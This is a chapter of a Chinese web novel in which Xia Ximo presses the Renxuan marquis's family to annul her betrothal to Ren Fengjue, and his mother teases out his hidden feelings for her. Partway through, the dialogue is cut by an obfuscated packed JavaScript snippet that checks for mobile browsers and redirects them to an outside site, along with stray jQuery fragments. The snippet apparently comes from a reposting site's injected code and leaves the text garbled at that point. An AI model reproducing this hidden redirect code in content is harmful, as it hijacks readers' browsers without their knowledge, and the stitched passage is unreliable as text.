任风玦立在父母身后,在听到这话时,面上的神情也发生了微小的变化。


    心情甚至有些黯然。


    荣氏听了这话,又是一惊:“孩子,你不留在京城,要去哪儿?”


    夏熙墨默然。


    原本是要渡魂,现在还多了一样捉鬼。


    忙得很。


    荣氏见她不语,还以为是因为任风玦,她忙问:“可是风儿有什么对不住你的地方?”


    不等夏熙墨回话。


    暴脾气的任瑄已回头狠狠瞪了儿子一眼,“说话!”


    任风玦:“……”


    他无奈看了自家父母一眼,“儿子并不知有什么地方对不住夏姑娘…”


    夏熙墨跟着说道:“他没有对不住我,退婚是我自己的意思,请侯爷夫人成全。”


    听她语气说得这样坚定。


    任瑄与荣氏皆面露怅然之色。


    在他们看来,这事要是从任风玦口中,还尚有回旋之地。


    但从夏熙墨嘴里说出,情况可就不一样了。


    氛围一度变得尴尬。


    任风玦只好出声提议:“父亲与母亲才历经凶险,不若先回去休息,退婚之事,天亮后再做决定。”


    闻言,任瑄与荣氏不约而同看了儿子一眼,似乎也觉得稀奇。


    要知道这么多年来,每每提及婚事,他不是推三阻四,就是当作耳边风。


    换作以往的他,遇到这种情况,还不得立即退婚了事?


    眼下此举,倒像是缓兵之计…


    “正好,本侯确实乏了…”


    任瑄说着,便向夫人使了一下眼色。


    荣氏会意,当即唤来容舒,让她安排东苑的暖阁给夏熙墨休整。


    容舒领了命,又悄悄看了夏熙墨一眼。


    对于这位夏小姐,她打心底有三分惧意。


    那感觉,和对前面“那位”,确实有着天壤之别。


    不过这惧意背后,则是七分敬佩。


    换作京中其他高门贵女,在面对仁宣侯与夫人时,可未必能有这样的气度。


    临走前,夏熙墨看了任风玦一眼,那眼神里带着深意。


    仿佛在说,天亮了,这事必须得有结果。


    任风玦喊小厮给颜正初与余琅各自安排了一间客房。


    这时的余少卿已在颜道长的“施法”之下,驱散了体内煞气,悠悠醒转过来。


    “我现在在哪儿?”


    “那恶鬼呢?”


    “颜道长你怎么在这儿?你不是说不进来…唔!”


    面对一连串的问题,颜道长选择了直接用手堵住了他的嘴,并在下人们疑惑的目光之中离去。


    “客人”都安置好了,任瑄见夫人迟迟不挪步,就知道她还有话要跟儿子说,便向任风玦吩咐:“送你母亲回东苑。”


    任风玦亲自上前搀扶侯夫人。


    发生了这番惊变,他想到这些年来一心扑在公务之中,竟十分愧疚。


    “母亲,今晚的事情,都是儿子的疏忽…”


    荣氏笑了笑,“怎么又成你的疏忽?”


    任风玦如实道:“其实儿子早在几天前就确认了穆铮之女的**,只是京中接连发生了那么多桩诡案,我才将此事暂且搁置。”


    “本以为,只要找个人暗中盯着穆汀汀,就掀不起风浪…”


    “终究还是…轻敌了。”


    他不敢想,若是今晚之事,连累了整个侯府,后果该如何…


    荣氏拍了拍他的手,又摇了摇头:“你以国事为先,能为君分忧,这当然是好事。”


    “千万不必自责,否则,我只怕也要为了这事去菩萨跟前,忏悔几天几夜才好。”


    “事情既已过去,今夜过后,就不提了。”


    此时已近子夜,更深露重。


    任风玦解下外袍,就要往荣氏的肩上披,却听她转开了话题,问道:“对于退婚之事,你心中可有想法?”


    这话让任风玦手上又是一顿,他有些不自然地说道:“儿子的想法,母亲又不是不知道…”


    哪知荣氏话里有话:“以前知道,现在可未必…”


    “……”


    “你看熙墨的眼神,与看穆铮之女,太不一样。”


    “……”


    “态度尚且可以骗人,但眼神可骗不了。”


    任风玦皱了一下眉头,隐隐不悦:“母亲为何要拿穆汀汀出来比?”


    荣氏一副看穿他心事的样子,应道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186726|196398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “确实不该拿她与你的心上人比。”


    “……”


    任风玦板起脸,索性沉默。


    见此,荣氏又是莞尔一笑,“你现在不承认也无妨,或许连你自己都尚未认识到自己的心意。”


    “不过感情之事,向来便是如此微妙,不然世间也不会有那么多的痴男怨女,爱恨情缠。”


    “为娘也想好了,若是明日熙墨还是执意退婚,我便应承了此事,收她为义女。”


    听到这里,任风玦微挑了一下眉头。


    他母亲则继续说道:“这样一来,就算她与仁宣侯府没有婚约,也算是侯府的人。”


    “有侯府给她撑腰,谁也不敢欺她孤苦伶仃…”


    “母亲。”


    任风玦只觉得心里隐隐有蚂蚁在爬,他道:“收义女之事,儿子觉得不妥…”


    荣氏不解:“为何不妥?”


    “…以儿子对夏姑娘的了解,她可未必会领这份情,况且,她还有护国大将军之女的身份在,谁敢欺她?”


    荣氏却斜睨了他一眼,“你对她还挺了解?”


    任风玦顿时噎住,他还想再说些什么,却被打断了。


    “此事明日再议吧,你那点心思为娘的难道不知道?”


    “……”


    此时已走到了东苑门口,荣氏将肩上袍子递还给他,又挥挥手,“你也早些休息,明日到东苑来,一起用朝食。”


    任风玦只觉得有很多话想说,可到了嘴边,也只剩了一个字:“是。”


    直至荣氏身影进了正屋,他才挪动脚步,慢慢往南苑走去。


    夜风泠泠,却吹得他心绪如潮。


    这一夜,注定难眠。


    翌日清晨,不等小厮来唤,任风玦就直接往东苑去了。


    早膳还是布在东暖阁,去时,夏熙墨正在吃着一碗燕窝粥。


    她不拘谨,也不客气,偏偏这样的脾性,最是受荣氏喜欢。


    没过一会儿,任瑄也到了,荣氏只吩咐容舒给他父子俩添粥布菜,自己却在亲自照顾着夏熙墨,可谓无比贴心。


    待吃完朝食过后,夏熙墨放下勺子看向了任风玦,直接问道:“退婚书,打算何时写?”